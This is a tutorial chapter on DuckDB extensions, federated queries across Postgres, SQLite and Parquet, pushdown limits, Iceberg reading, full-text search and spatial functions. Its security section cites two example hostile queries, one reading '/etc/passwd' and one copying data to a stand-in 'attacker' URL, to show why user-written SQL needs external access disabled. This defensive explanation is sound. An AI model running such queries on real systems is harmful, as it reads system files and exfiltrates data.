Skip to content
Toolforge

9. Extensions and federation

DuckDB’s core is deliberately small. Almost everything interesting — object storage, Iceberg, Postgres, geospatial, full-text search — is an extension, and the extension mechanism is worth understanding because it determines what “federation” actually costs.

How extensions work

Section titled “How extensions work”
INSTALL httpfs;   -- download once, cache in
                  -- ~/.duckdb/extensions/
LOAD httpfs;      -- load into this process
   An extension is a SHARED LIBRARY —
   .duckdb_extension — compiled against the
   same DuckDB version.


   It can register:
     ─ table functions   (read_parquet,
                          iceberg_scan)
     ─ scalar functions  (st_distance)
     ─ aggregate functions
     ─ types             (GEOMETRY)
     ─ file systems      (s3://, azure://)
     ─ storage extensions (ATTACH a Postgres
                           database as a
                           catalog)
     ─ optimiser rules
     ─ replacement scans

Extensions are versioned against the DuckDB build. An extension compiled for 1.1 will not load into 1.2 — it is re-published per release. That is usually invisible because INSTALL fetches the right one, but it matters in air-gapped environments and in containers, where you want to bake extensions into the image rather than downloading at runtime. Chapter 13 covers that.

Autoloading means you frequently never type INSTALL at all: querying s3://... triggers httpfs, read_json triggers json, SELECT * FROM 'x.parquet' triggers parquet. It only works for the core-maintained set.

   THREE REPOSITORIES


   core             maintained by DuckDB Labs,
                    signed, autoloadable
   core_nightly     the same, built from main
   community        third-party, reviewed and
                    built by the DuckDB CI, but
                    not written by the core team


   INSTALL h3 FROM community;

The community repository is genuinely useful and is a different trust level. The build is reproducible and the source is public; the code is not core-team code. Read what you install.

The ones worth knowing

Section titled “The ones worth knowing”
   httpfs      s3://, gcs://, r2://, azure://,
               https://. Range requests,
               credential chain, secrets.
               → chapter 5


   parquet     built in. Not an extension you
               think about.


   json        read_json, the JSON type, path
               operators.


   icu         time zones, collations, proper
               ORDER BY for non-English text.
               Without it, `AT TIME ZONE` is
               unavailable.


   iceberg     read Iceberg tables. See below.


   delta       read Delta Lake tables, via
               delta-kernel-rs.


   postgres    ATTACH a live Postgres database.
   mysql       same, for MySQL.
   sqlite      same, for SQLite files.


   spatial     GEOMETRY type, ~300 spatial
               functions, GDAL — so it reads
               shapefiles, GeoJSON, GeoPackage.


   fts         full-text search: BM25 over a
               table.


   excel       read and write .xlsx.


   aws / azure credential-chain helpers for
               httpfs.

Attaching another database

Section titled “Attaching another database”

This is the feature that turns DuckDB into a small federated query engine.

ATTACH 'host=db.internal dbname=app user=readonly'
  AS pg (TYPE postgres, READ_ONLY);


ATTACH 'sales.sqlite'  AS lite (TYPE sqlite);
ATTACH 'warehouse.duckdb' AS wh;


SHOW DATABASES;


-- and now they are all just schemas
SELECT * FROM pg.public.orders LIMIT 10;


-- including across systems
SELECT o.id, c.segment
FROM pg.public.orders o
JOIN 'customers.parquet' c ON o.customer_id = c.id
WHERE o.created_at >= '2026-09-01';

That last query joins a live PostgreSQL table to a Parquet file on disk, in one statement, with no ETL. It is genuinely useful and it has a specific cost, which is the rest of this chapter.

How much gets pushed down

Section titled “How much gets pushed down”
   INTO POSTGRES, DuckDB pushes:


   ✓ projection — only the columns needed
     appear in the SELECT it sends
   ✓ simple filters — comparisons on columns,
     AND/OR of them, IN lists
   ✓ LIMIT, in simple cases


   ✗ JOINS. A join between a Postgres table
     and anything else happens IN DUCKDB.
     The Postgres rows come over the wire.
   ✗ AGGREGATES. `sum()` over a Postgres
     table pulls the rows and sums them here.
   ✗ most function calls in predicates

Read that list again, because it decides whether the feature helps you or hurts you.

   GOOD                       BAD


   SELECT * FROM pg.orders    SELECT count(*)
   WHERE created_at           FROM pg.events
     >= '2026-09-01'          -- 900 million rows
   -- filter pushed;          -- pulled over the
   -- 40k rows come over      -- wire to be counted
                              -- here

The rule: use the attached database to fetch a filtered slice, not to compute over it. If the computation should happen in Postgres, send it there:

-- push an arbitrary query through, unmodified
SELECT * FROM postgres_query('pg',
  'SELECT country, count(*) FROM orders
   WHERE created_at >= now() - interval ''30 days''
   GROUP BY 1');

postgres_query, mysql_query and sqlite_query are the escape hatch, and for anything aggregate-shaped they are usually what you want.

And it is not Trino

Section titled “And it is not Trino”

Worth saying plainly, because the surface looks similar.

                    DUCKDB          TRINO


   connectors       ~6              ~50
   pushdown         basic filters   sophisticated,
                    and projection  per-connector,
                                    including
                                    aggregate and
                                    join pushdown
   concurrency      one process     a cluster, many
                                    users
   built for        one analyst,    an organisation's
                    ad hoc          query layer
   cost             a pip install   a cluster to run

DuckDB’s federation is for “I need to join this Postgres table to this Parquet file, once, now.” Trino’s is for “this is how the company queries everything.” Trino’s pushdown chapter is the same subject taken seriously at a scale DuckDB is not attempting.

Iceberg and Delta

Section titled “Iceberg and Delta”
INSTALL iceberg; LOAD iceberg;


-- via a REST catalog — the modern path
ATTACH 'warehouse' AS ice (
  TYPE iceberg,
  ENDPOINT 'https://catalog.internal/v1',
  SECRET my_catalog_secret
);
SELECT * FROM ice.analytics.events WHERE year = 2026;


-- or straight at a table's metadata
SELECT * FROM iceberg_scan('s3://bucket/warehouse/db/events');


-- inspect the table
SELECT * FROM iceberg_snapshots('s3://.../events');
SELECT * FROM iceberg_metadata('s3://.../events');

This is the combination Iceberg’s chapter 11 calls out: a laptop querying a multi-terabyte table, because Iceberg’s manifest tree tells DuckDB which handful of files to read before it opens any of them.

   WHAT ICEBERG GIVES DUCKDB HERE


   ✓ file pruning from manifest statistics,
     without listing the bucket
   ✓ hidden partitioning — a filter on `ts`
     prunes partitions derived from it
   ✓ a consistent snapshot: no torn reads
     while a writer is committing
   ✓ time travel
   ✓ schema evolution handled by field ID,
     so renamed columns still resolve

Write support is the caveat. DuckDB’s Iceberg reading is solid; writing has been arriving gradually and is behind the readers in maturity. Check what your version supports before designing a pipeline around DuckDB as an Iceberg writer — for now, Spark, Flink and Trino are the mature writers, and DuckDB is the reader that makes the table useful from a laptop.

Delta is similar: reading works through delta_scan and delta-kernel-rs; writing is not the point.

Full-text search and spatial

Section titled “Full-text search and spatial”

Two extensions that turn DuckDB into something it does not look like.

INSTALL fts; LOAD fts;


PRAGMA create_fts_index('articles', 'id', 'title', 'body');


SELECT id, title,
       fts_main_articles.match_bm25(id, 'columnar storage') AS score
FROM articles
WHERE score IS NOT NULL
ORDER BY score DESC LIMIT 10;

It is BM25 over a table, built in one statement. It is not Elasticsearch — no analyzers to speak of, no incremental index maintenance (you rebuild), no relevance tuning, no distribution. For “search this corpus of 2 million documents on my machine”, it is enough, and the alternative was a cluster.

INSTALL spatial; LOAD spatial;


SELECT name, ST_Area(geom)
FROM ST_Read('boundaries.shp')
WHERE ST_Intersects(geom, ST_Point(4.9, 52.4));

The spatial extension embeds GDAL, which means DuckDB reads shapefiles, GeoJSON, GeoPackage, FlatGeobuf and about fifty other formats, and has the PostGIS-shaped function set over them. For geospatial analysts this is frequently the whole reason they use DuckDB.

Security and the extension surface

Section titled “Security and the extension surface”

Extensions are native code loaded into your process. Two settings matter if you are running SQL you did not write:

SET allow_unsigned_extensions = false;  -- default; keep it
SET enable_external_access = false;     -- no file or network
                                        -- access from SQL at all

enable_external_access = false is the setting for an application that lets users write SQL. Without it, SELECT * FROM '/etc/passwd' is a valid query, and so is COPY ... TO 'https://attacker/'. This is the same class of problem as SQL injection into any engine that can read files, and DuckDB gives you one flag that closes it. If your product accepts user SQL, set it.

What to take from this chapter

Section titled “What to take from this chapter”
  • An extension is a versioned shared library that can add table functions, types, file systems, catalogs and optimiser rules. Autoloading means you rarely type INSTALL for the core set.
  • Three repositories: core (signed, autoloadable), core_nightly, and community — useful, reproducibly built, and not core-team code.
  • ATTACH turns Postgres, MySQL, SQLite and other DuckDB files into schemas, and you can join across them in one statement.
  • Pushdown into an attached database is projection and simple filters only. Joins and aggregates happen in DuckDB, over rows pulled across the wire. Fetch a filtered slice; do not compute over it — and use postgres_query to send real work to the server.
  • This is not Trino. Six connectors versus fifty, basic pushdown versus per-connector aggregate and join pushdown, one process versus a cluster. It is for one analyst, once, now.
  • Iceberg reading is the standout — manifest statistics prune files before anything is opened, so a laptop can query a multi-terabyte table with a consistent snapshot and time travel. Writing is the immature half; check your version.
  • fts gives BM25 over a table in one statement — not Elasticsearch, and enough for a corpus on one machine. spatial embeds GDAL, so shapefiles and GeoJSON are readable directly.
  • If your application runs SQL written by users, SET enable_external_access = false. Otherwise SELECT * FROM '/etc/passwd' is a valid query.

Next: joins, aggregation and running out of memory — how hash tables spill, and what larger-than-memory actually means here.

Written by Sepuri Sai Krishna

© 2026CC BY 4.0Source